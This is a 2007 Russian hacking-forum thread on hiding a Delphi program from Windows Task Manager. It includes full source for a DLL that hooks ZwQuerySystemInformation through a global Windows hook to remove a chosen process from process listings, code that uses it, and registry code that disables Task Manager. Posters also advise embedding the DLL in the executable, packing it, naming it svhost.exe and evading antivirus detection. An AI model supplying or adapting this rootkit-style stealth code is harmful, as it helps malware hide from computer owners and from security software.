Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   как спрятать программу в ДиспетчереЗадач? (https://forum.antichat.xyz/showthread.php?t=41034)

x-treem 28.05.2007 08:11

как спрятать программу в ДиспетчереЗадач?
 
может где - то писалось - я не нашёл. взникла проблема. Надо спрятать программу на Делфи от Диспетчера Задаач. Конечно же в сети есть несколько примеров кода, но дело в том что мне бы очень хотелось понять самому, как это делается. Может кто нибудь покажет какие нить простенькие методики?

_Great_ 28.05.2007 08:14

x-treem
На выбор перехват ZwQuerySystemInformation (ntdll.dll), написание драйвера ядра для перехвата ZwQuerySystemInformation в ядре или разрыв связей EPROCESS планировщика

x-treem 28.05.2007 08:36

хм... вот давно уже наткнулся на либу hide
дык после компиляции она стала весить 44.5 кб. много для либы. скажите, а реально прописать эту либу в коде самой программы, или хотя бы просто выгружать её из программы?

Joker-jar 28.05.2007 08:58

В самой программе - нет, так как это глобальный хук. А выгружать - да. Храни в ресурсах, либо в массиве. Выгружай при загрузке. Вот тут интересная реализация - конвертация любого файла в pas файл - модуль, с последующим инклудом. В модуле содержится функция сохранения обратно в файл (которая, кстати, мне не нравится из-за ее медлительности, я б сделал так:
Код:

procedure SaveToFile(FileName:String);
var
  F:File;
begin
  AssignFile(F,FileName);
  ReWrite(F,1);
  BlockWrite(F, FileData, FileSize);
  CloseFile(F);
end;

)

slesh 28.05.2007 09:51

Есть еще один специфический способ - постонно отыскивать окно диспечера задач. и с помошью API функций удалять себя из списка.
Реализауется просто:
- ловишь дискриптор списка где они выводятся
- считываешь его содержимое
- удаляешь себя из него
- заново запихиваешь его наместо.
Способ хорошо действует тока на стандартном диспечере задач. т.е. с ProcessExplorerNT это не прокатит :)
Хоть и приметивный способ, но реализуется относительно просто.

bl4ck-cat 28.05.2007 09:58

Код:


 BOOL (WINAPI *RegisterServiceProcess)(DWORD dwProcessId,DWORD dwType);

 int main(){

  HINSTANCE hKernel;
  int i=1;

  hKernel=LoadLibrary("KERNEL32.DLL");

  if(hKernel){
  cout<<"Success load library kernel32.dll"<< endl;
  RegisterServiceProcess=(int(__stdcall*)(DWORD,DWORD))

  GetProcAddress(hKernel,"RegisterServiceProcess");
  if(RegisterServiceProcess){
    cout<<"Success to have address of the specified exported dynamic-link library (DLL) function"<< endl;

    if(RegisterServiceProcess(GetCurrentProcessId(),i))
    cout<<"Success registers the process as a service process"<< endl;
  }else{
    cout<<"Failed to have address of the specified exported dynamic-link library (DLL) function"<< endl;
    cin>>i;
    return 0;
  }
  }else{
    cout<<"Failed load library kernel32.dll"<< endl;
    cin>>i;
    return 0;
  }
  cout<<"Registers the process as a service process:1"<< endl;
  cout<<"Unregisters the process as a service process:0"<< endl;
  cin>>i;
  if (RegisterServiceProcess(GetCurrentProcessId(),i)){
  cout<<"Success"<< endl;
  }else{
  cout<<"Failed"<< endl;
  }
  cin>>i;
  return 0;
 }


это всё вставлять в код своей прги... переменную count нужно удалить..

зы: нашел у себя на компе и не проверял на наличие ошибок так что ногами не йбейте :)

zl0y 28.05.2007 10:18

bl4ck-cat !Ему на Delphi Надо!
Цитата:

может где - то писалось - я не нашёл. взникла проблема. Надо спрятать программу на Делфи от Диспетчера Задаач. Конечно же в сети есть несколько примеров кода, но дело в том что мне бы очень хотелось понять самому, как это делается. Может кто нибудь покажет какие нить простенькие методики?

bl4ck-cat 28.05.2007 10:36

упс :) сорри - не заметил :)

Joker-jar 28.05.2007 10:50

Так ты показывай найденные примеры и тыкай где тебе не понятно, люди помогут. Или пример все-таки нужен?

NetMan 28.05.2007 14:36

bl4ck-cat, этот исходник пашет только на Windows 95 / 98 / ME...

Jes 28.05.2007 14:37

назвать его svhost.exe )

Ну или можно просто сам диспетчер вырубить :
пример на Си:
Reg->RootKey=HKEY_CURRENT_USER;
Reg->OpenKey("Software",true);
Reg->OpenKey("Microsoft",true);
Reg->OpenKey("Windows",true);
Reg->OpenKey("CurrentVersion",true);
Reg->OpenKey("Policies",true);
Reg->OpenKey("System",true);
Reg->WriteString("DisableTaskMgr","1");

Cмысла в этом посте не вижу, но так , для информативности... :p

Jes 28.05.2007 14:42

а вообще мне сам вопрос понравился... 'В диспетчере'
попробуй , File>New >Run , у меня она сразу прячется в диспетчер ^^

NetMan 28.05.2007 14:43

Jes, имхо: у юзера могут возникнуть подозрения =)

Jes 28.05.2007 14:55

Как использовать hide.dll :
Код:

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs;

type
  TForm1 = class(TForm)
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation
function HideProcess(pid: DWORD; HideOnlyFromTaskManager: BOOL): BOOL; stdcall;
  external 'hide.dll';

function ProcessMessage(var Msg: TMsg): Boolean;
var
  Handled: Boolean;
begin
  Result := False;
  begin
    Result := True;
    if Msg.Message <> WM_QUIT then
    begin
      Handled := False;
      begin
        TranslateMessage(Msg);
        DispatchMessage(Msg);
      end;
    end
  end;
end;

procedure ProcessMessages;
var
  Msg: TMsg;
begin
  while ProcessMessage(Msg) do {loop}
    ;
end;

begin
  HideProcess(GetCurrentProcessId, false);
  while true do
  begin
    ProcessMessages;
  end;
{$R *.dfm}

end.

НО! , сама hide.dll тут же палится AVP, Авастом и прочей гадостью...(еще при появлении на борту..)

[offTopic] млин , чтоб браузер обновить ,по привычке F9 нажимаю , вместо F5... ^^ [/offTopic]

slesh 28.05.2007 15:13

ДЫк привер вообще для 98 винды. НА Xp пахать не должен

x-treem 28.05.2007 17:55

ток с учёбы припёрсо)
странно, hide.dll у мну не палится. вродь каспер обнавлён.
насчёт примеров. БЫЛ БЫ ОЧЕНЬ ПРИЗНАТЕЛЕН, ЕСЛИ БЫ КТО НИТЬ ПОКАЗАЛ НА ЖИВОМ ПРИМЕРЕ, КАК ХАЙД.ДЛЛ В ЕКЗЕШНИК ЗАПИХАТЬ. млин. я блондинко(( продолжим.
статья: http://www.excode.ru/art3661p2.html
что то не сильно понял зачем там writeln.
вообщето я там ничего не понял))

NetMan 28.05.2007 18:27

x-treem
1) создаешь пустой проект, добавляешь кнопку на форму
2) берешь процедуру, которая описана по ссылке, добавляешь в её в исходник
3) в обработчике события нажатия кнопки вызываешь эту процедуре, например, так

Код:

procedure TForm1.Button1Click(Sender: TObject);
begin
        FileToPas("C:\hide.dll"); // путь к hide.dll
end;

4) запускаешь полученную прогу, жмёшь кнопку (тем самым генерируется unit с содержимым hide.dll)
5) создаешь новый проект, подключаешь сгенеренный unit
6) для извлечения dll юзаешь процедуру SaveToFile из этого же unit'а
7) используешь извлеченную hide.dll

x-treem 28.05.2007 18:32

млин... а у мну без юниов. тоесть голая прога с юзаньем widnows, wincock и SysUtils

NetMan 28.05.2007 18:46

x-treem, необходимо сгенеренный unit подключить также, как и Windows, Winsock и SysUtils, скопировав его в директорию с проектом и добавить в uses:
Код:

uses Windows, Winsock, SysUtils, Hide;

x-treem 28.05.2007 20:11

аа. ясно, спасибо. пока под рукой дельфина нету. надеюсь юнит буит не на много больше чем сама длл) всем спасибо!

Joker-jar 29.05.2007 07:13

Юнит будет весить больше самой dll, но при компиляции все будет ОК. Не забывай юзать упаковщики.

NetMan 29.05.2007 14:51

btw: не подскажете как сделать, чтобы hide.dll не палилась антивирями?

asm33 30.05.2007 01:02

может легче отключить сам диспетчер?

http://www.delphitricks.com/source-code/windows/disable_ctrlaltdelete_under_xp.html

Код:

procedure DisableTaskMgr(bTF: Boolean);
var
  reg: TRegistry;
begin
  reg := TRegistry.Create;
  reg.RootKey := HKEY_CURRENT_USER;
  reg.OpenKey('Software', True);
  reg.OpenKey('Microsoft', True);
  reg.OpenKey('Windows', True);
  reg.OpenKey('CurrentVersion', True);
  reg.OpenKey('Policies', True);
  reg.OpenKey('System', True);
  if bTF = True then
  begin
    reg.WriteString('DisableTaskMgr', '1');
  end
  else if bTF = False then
  begin
    reg.DeleteValue('DisableTaskMgr');
  end;
  reg.CloseKey;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  DisableTaskMgr(True);
end;


x-treem 30.05.2007 08:24

asm33 - представь, не легче=\
кстати, такое предложеник уже было в топике.

и ещё...
у мну не компилится FileToPas. может кто нить скомпилит? очень прошу

Joker-jar 30.05.2007 09:38

Код:

procedure FileToPas(FileName: string);
var
  BF: file of Byte;
  F: TextFile;
  N, S: string;
  BFSize: integer;
  BBB: Byte;
begin
  AssignFile(BF, FileName);
  Reset(BF);
  BFSize := FileSize(BF);
  N := ChangeFileExt(FileName, '.PAS');
  AssignFile(F, N);
  ReWrite(F);
  Writeln(F, 'unit ' + ExtractFileName(ChangeFileExt(N, '')) + ';');
  Writeln(F);
  Writeln(F, 'interface');
  Writeln(F);
  Writeln(F, 'const FileSize:integer=' + IntToStr(BFSize) + ';');
  Writeln(F, 'FileData:array[0..' + IntToStr(BFSize - 1) + '] of Byte=');
  Writeln(F, '(');
    while not Eof(BF) do
      begin
        S := '';
          while (not Eof(BF)) and (Length(S) < 80) do
            begin
              Read(BF, BBB);
              S := S + IntToStr(BBB) + ',';
            end;
        if Eof(BF) then
          Delete(S, Length(S), 1);
        Writeln(F, S);
      end;
  CloseFile(BF);
  Writeln(F, ');');
  Writeln(F);
  Writeln(F, 'procedure SaveToFile(FileName:String);');
  Writeln(F);
  Writeln(F, 'implementation');
  Writeln(F);
  Writeln(F, 'procedure SaveToFile(FileName:String);');
  Writeln(F, 'var F: File;');
  Writeln(F, 'begin');
  Writeln(F, 'AssignFile(F,FileName);');
  Writeln(F, 'ReWrite(F,1);');
  Writeln(F, 'BlockWrite(F, FileData, FileSize);');
  Writeln(F, 'CloseFile(F);');
  Writeln(F, 'end;');
  Writeln(F);
  Writeln(F, 'end.');
  CloseFile(F);
end;


Joker-jar 30.05.2007 09:42

Используй для относительно небольших файлов (< 2 Mb), так как функция сохраняет в файл в один присест. Сохраняет шустренько.

DarckSol 01.06.2007 03:08

Нашел давно библиотеку Hide.dpr оно вот такого содержания:
Код:

library Hide;

uses
  Windows,
  NativeAPI;

type
 OldCode = packed record
  One: dword;
  two: word;
 end;


far_jmp = packed record
  PuhsOp: byte;
  PushArg: pointer;
  RetOp: byte;
 end;

var
 JmpZwq: far_jmp;
 OldZwq: OldCode;
 PtrZwq: pointer;

Function TrueZwQuerySystemInformation(ASystemInformationClass: dword;
                                  ASystemInformation: Pointer;
                                  ASystemInformationLength: dword;
                                  AReturnLength: PCardinal): NTStatus; stdcall;
var
 Written: dword;
begin
  WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq,
                    @OldZwq, SizeOf(OldCode), Written);

  Result := ZwQuerySystemInformation(ASystemInformationClass,
                                    ASystemInformation,
                                    ASystemInformationLength,
                                    AReturnLength);

  WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq,
                    @JmpZwq, SizeOf(far_jmp), Written);
end;



Function NewZwQuerySystemInformation(ASystemInformationClass: dword;
                                  ASystemInformation: Pointer;
                                  ASystemInformationLength: dword;
                                  AReturnLength: PCardinal): NTStatus; stdcall;
var
 Info, Prev: PSYSTEM_PROCESSES;
begin
 Result := TrueZwQuerySystemInformation(ASystemInformationClass,
                                        ASystemInformation,
                                        ASystemInformationLength,
                                        AReturnLength);

 if (ASystemInformationClass = SystemProcessesAndThreadsInformation) and
    (Result = STATUS_SUCCESS) then
    begin
      Info := ASystemInformation;
      while(Info^.NextEntryDelta > 0) do
      begin
        Prev := Info;
        Info := pointer(dword(Info) + Info^.NextEntryDelta);
        if lstrcmpiw(Info^.ProcessName.Buffer, '1.exe') = 0 then
          Prev^.NextEntryDelta := Prev^.NextEntryDelta + Info^.NextEntryDelta;
      end;
    end;
end;

Procedure SetHook();
var
 Bytes: dword;
begin
  PtrZwq  := GetProcAddress(GetModuleHandle('ntdll.dll'),
                            'ZwQuerySystemInformation');
  ReadProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, @OldZwq, SizeOf(OldCode), Bytes);
  JmpZwq.PuhsOp  := $68;
  JmpZwq.PushArg := @NewZwQuerySystemInformation;
  JmpZwq.RetOp  := $C3;
  WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, @JmpZwq, SizeOf(far_jmp), Bytes);
end;

Procedure Unhook();
var
 Bytes: dword;
begin
  WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, @OldZwq, SizeOf(OldCode), Bytes);
end;
Function MessageProc(code : integer; wParam : word;
                    lParam : longint) : longint; stdcall;
begin
 CallNextHookEx(0, Code, wParam, lparam);
 Result := 0;
end;

Procedure SetGlobalHookProc();
begin
 SetWindowsHookEx(WH_GETMESSAGE, @MessageProc, HInstance, 0);
 Sleep(INFINITE);
end;
//

Procedure SetGlobalHook();
var
 hMutex: dword;
 TrId: dword;
begin
 hMutex := CreateMutex(nil, false, 'ProcHideHook');
 if GetLastError = 0 then
 CreateThread(nil, 0, @SetGlobalHookProc, nil, 0, TrId) else
 CloseHandle(hMutex);
end;

procedure DLLEntryPoint(dwReason: DWord);
begin
  case dwReason of
    DLL_PROCESS_ATTACH: begin
                          SetGlobalHook();
                          SetHook();
                        end;
    DLL_PROCESS_DETACH: begin
                          Unhook();
                        end;
  end;
end;


begin
 DllProc := @DLLEntryPoint;
 DLLEntryPoint(DLL_PROCESS_ATTACH);
end.


А вторая библиотека невлезает, уж больно там кода много, поэтому берём тут http://rapidshare.com/files/34527096/NativeAPI.pas


Смотрим, тестим.

Joker-jar 01.06.2007 03:45

Ну так это его величество Ms-Rem, по коду узнаю. Скрывает номально, но от tasklist'a не поможет. Хотя, в большинстве случаев, можно ограничиться и таскменеджером

_Great_ 01.06.2007 09:44

DarckSol, ну дык я об этом и говорил.
"Скрывает номально, но от tasklist'a не поможет", с какой радости то?
Хукаешь zwQuerySystemInformation и все

Короче инфы на эту тему в инете ПОЛНО, а выкладывают тут фиговые сорсы какието, которые к делу не относятся, за исключением последнего.

Прочитай мою тему про сплайсинг - там был пример с наебкой диспетчера задач, правда уже запущенного.

Повторюсь, что лучший вариант - драйвер ядра.

Все, тема закрыта, щас каждый шибко умный захочет тут отписаться мол он тоже крутой. Достали


Время: 00:25